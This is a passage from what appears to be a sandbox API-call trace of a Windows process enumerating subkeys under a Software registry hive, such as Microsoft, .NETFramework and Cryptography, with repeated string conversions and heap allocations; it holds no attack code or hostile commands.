RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92bbb8 [0209.918] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0209.918] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0209.918] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x92c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clients", lpUsedDefaultChar=0x0) returned 7 [0209.918] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c0d8 [0209.918] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0209.918] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c0d8) returned 1 [0209.918] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92bbb8) returned 1 [0209.918] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x4, lpName=0x92b930, cchName=0x104 | out: lpName="Intel") returned 0x0 [0209.918] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92bbb8 [0209.918] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intel", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0209.918] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c0d8 [0209.918] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intel", cchWideChar=5, lpMultiByteStr=0x92c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intel", lpUsedDefaultChar=0x0) returned 5 [0209.918] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0209.918] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c0d8) returned 1 [0209.918] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0209.918] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92bbb8) returned 1 [0209.919] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x5, lpName=0x92b930, cchName=0x104 | out: lpName="Macromedia") returned 0x0 [0209.919] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92bbb8 [0209.919] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0209.919] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0209.919] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x92c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="macromedia", lpUsedDefaultChar=0x0) returned 10 [0209.919] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c0d8 [0209.919] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0209.919] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c0d8) returned 1 [0209.919] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92bbb8) returned 1 [0209.919] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x6, lpName=0x92b930, cchName=0x104 | out: lpName="Microsoft") returned 0x0 [0209.919] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92bbb8 [0209.919] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0209.919] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c0d8 [0209.919] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x92c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft", lpUsedDefaultChar=0x0) returned 9 [0209.919] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0209.919] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c0d8) returned 1 [0209.919] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0209.919] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92bbb8) returned 1 [0209.919] RegOpenKeyExW (in: hKey=0xa0, lpSubKey="Microsoft", ulOptions=0x0, samDesired=0x20109, phkResult=0x21f3e8 | out: phkResult=0x21f3e8*=0x24) returned 0x0 [0209.919] RegCloseKey (hKey=0xa0) returned 0x0 [0209.919] RegEnumKeyW (in: hKey=0x24, dwIndex=0x0, lpName=0x92b930, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0209.919] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92bbb8 [0209.919] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0209.919] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0209.919] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x92c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0209.919] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c0d8 [0209.919] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0209.919] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c0d8) returned 1 [0209.919] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92bbb8) returned 1 [0209.919] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1, lpName=0x92b930, cchName=0x104 | out: lpName="Active Setup") returned 0x0 [0209.919] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92bbb8 [0209.919] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0209.919] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c0d8 [0209.920] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x92c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="active setup", lpUsedDefaultChar=0x0) returned 12 [0209.920] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0209.920] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c0d8) returned 1 [0209.920] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0209.920] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92bbb8) returned 1 [0209.920] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2, lpName=0x92b930, cchName=0x104 | out: lpName="ADs") returned 0x0 [0209.920] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92bbb8 [0209.920] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ads", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0209.920] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0209.920] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ads", cchWideChar=3, lpMultiByteStr=0x92c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ads", lpUsedDefaultChar=0x0) returned 3 [0209.920] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c0d8 [0209.920] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0209.920] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c0d8) returned 1 [0209.920] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92bbb8) returned 1 [0209.920] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3, lpName=0x92b930, cchName=0x104 | out: lpName="Advanced INF Setup") returned 0x0 [0209.920] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92bbb8 [0209.920] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0209.920] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c0d8 [0209.920] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0x92c0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="advanced inf setup", lpUsedDefaultChar=0x0) returned 18 [0209.920] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0209.920] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c0d8) returned 1 [0209.920] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0209.920] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92bbb8) returned 1 [0209.920] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4, lpName=0x92b930, cchName=0x104 | out: lpName="ALG") returned 0x0 [0209.920] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92bbb8 [0209.920] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0209.920] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0209.920] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x92c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0209.920] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c0d8 [0209.920] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0209.920] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c0d8) returned 1 [0209.920] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92bbb8) returned 1 [0209.920] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5, lpName=0x92b930, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0209.920] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92bbb8 [0209.920] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0209.920] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c0d8 [0209.921] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x92c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0209.921] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0209.921] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c0d8) returned 1 [0209.921] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0209.921] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92bbb8) returned 1 [0209.921] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6, lpName=0x92b930, cchName=0x104 | out: lpName="Assistance") returned 0x0 [0209.921] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92bbb8 [0209.921] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0209.921] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0209.921] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x92c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="assistance", lpUsedDefaultChar=0x0) returned 10 [0209.921] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c0d8 [0209.921] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0209.921] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c0d8) returned 1 [0209.921] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92bbb8) returned 1 [0209.921] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7, lpName=0x92b930, cchName=0x104 | out: lpName="BidInterface") returned 0x0 [0209.921] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92bbb8 [0209.921] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bidinterface", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0209.921] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c0d8 [0209.921] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bidinterface", cchWideChar=12, lpMultiByteStr=0x92c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bidinterface", lpUsedDefaultChar=0x0) returned 12 [0209.921] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0209.921] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c0d8) returned 1 [0209.921] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0209.921] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92bbb8) returned 1 [0209.921] RegEnumKeyW (in: hKey=0x24, dwIndex=0x8, lpName=0x92b930, cchName=0x104 | out: lpName="COM3") returned 0x0 [0209.921] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92bbb8 [0209.921] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="com3", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0209.921] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0209.921] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="com3", cchWideChar=4, lpMultiByteStr=0x92c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="com3", lpUsedDefaultChar=0x0) returned 4 [0209.921] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c0d8 [0209.921] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0209.921] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c0d8) returned 1 [0209.921] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92bbb8) returned 1 [0209.921] RegEnumKeyW (in: hKey=0x24, dwIndex=0x9, lpName=0x92b930, cchName=0x104 | out: lpName="Command Processor") returned 0x0 [0209.921] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92bbb8 [0209.921] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0209.922] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c0d8 [0209.922] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0x92c0d8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="command processor", lpUsedDefaultChar=0x0) returned 17 [0209.922] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0209.922] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c0d8) returned 1 [0209.922] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0209.922] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92bbb8) returned 1 [0209.922] RegEnumKeyW (in: hKey=0x24, dwIndex=0xa, lpName=0x92b930, cchName=0x104 | out: lpName="Connect to a Network Projector") returned 0x0 [0209.922] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92bbb8 [0209.922] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="connect to a network projector", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0209.922] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0209.922] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="connect to a network projector", cchWideChar=30, lpMultiByteStr=0x92c120, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="connect to a network projector", lpUsedDefaultChar=0x0) returned 30 [0209.922] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c0d8 [0209.922] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0209.922] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c0d8) returned 1 [0209.922] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92bbb8) returned 1 [0209.922] RegEnumKeyW (in: hKey=0x24, dwIndex=0xb, lpName=0x92b930, cchName=0x104 | out: lpName="Cryptography") returned 0x0 [0209.922] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92bbb8 [0209.922] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptography", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0209.922] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c0d8 [0209.922] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptography", cchWideChar=12, lpMultiByteStr=0x92c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cryptography", lpUsedDefaultChar=0x0) returned 12 [0209.922] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0209.922] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c0d8) returned 1 [0209.922] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0209.922] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92bbb8) returned 1 [0209.922] RegEnumKeyW (in: hKey=0x24, dwIndex=0xc, lpName=0x92b930, cchName=0x104 | out: lpName="CTF") returned 0x0 [0209.922] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92bbb8 [0209.922] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0209.922] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0209.922] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x92c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ctf", lpUsedDefaultChar=0x0) returned 3 [0209.922] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c0d8 [0209.922] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0209.922] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c0d8) returned 1 [0209.922] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92bbb8) returned 1 [0209.922] RegEnumKeyW (in: hKey=0x24, dwIndex=0xd, lpName=0x92b930, cchName=0x104 | out: lpName="DataAccess") returned 0x0 [0209.922] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92bbb8 [0209.923] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dataaccess", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0209.923] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c0d8 [0209.923] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dataaccess", cchWideChar=10, lpMultiByteStr=0x92c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dataaccess", lpUsedDefaultChar=0x0) returned 10 [0209.923] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0209.923] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c0d8) returned 1 [0209.923] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0209.923] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92bbb8) returned 1 [0209.923] RegEnumKeyW (in: hKey=0x24, dwIndex=0xe, lpName=0x92b930, cchName=0x104 | out: lpName="DataFactory") returned 0x0 [0209.923] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92bbb8 [0209.923] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datafactory", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0209.923] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0209.923] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datafactory", cchWideChar=11, lpMultiByteStr=0x92c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="datafactory", lpUsedDefaultChar=0x0) returned 11 [0209.923] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c0d8 [0209.923] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0209.923] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c0d8) returned 1 [0209.923] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92bbb8) returned 1 [0209.923] RegEnumKeyW (in: hKey=0x24, dwIndex=0xf, lpName=0x92b930, cchName=0x104 | out: lpName="DevDiv") returned 0x0 [0209.923] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92bbb8 [0209.923] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="devdiv", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0209.923] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c0d8 [0209.923] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="devdiv", cchWideChar=6, lpMultiByteStr=0x92c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="devdiv", lpUsedDefaultChar=0x0) returned 6 [0209.923] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0209.923] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c0d8) returned 1 [0209.923] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0209.923] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92bbb8) returned 1 [0209.923] RegEnumKeyW (in: hKey=0x24, dwIndex=0x10, lpName=0x92b930, cchName=0x104 | out: lpName="Dfrg") returned 0x0 [0209.923] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92bbb8 [0209.923] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfrg", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0209.923] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0209.923] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfrg", cchWideChar=4, lpMultiByteStr=0x92c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfrg", lpUsedDefaultChar=0x0) returned 4 [0209.923] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c0d8 [0209.923] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0209.923] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c0d8) returned 1 [0209.923] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92bbb8) returned 1 [0209.923] RegEnumKeyW (in: hKey=0x24, 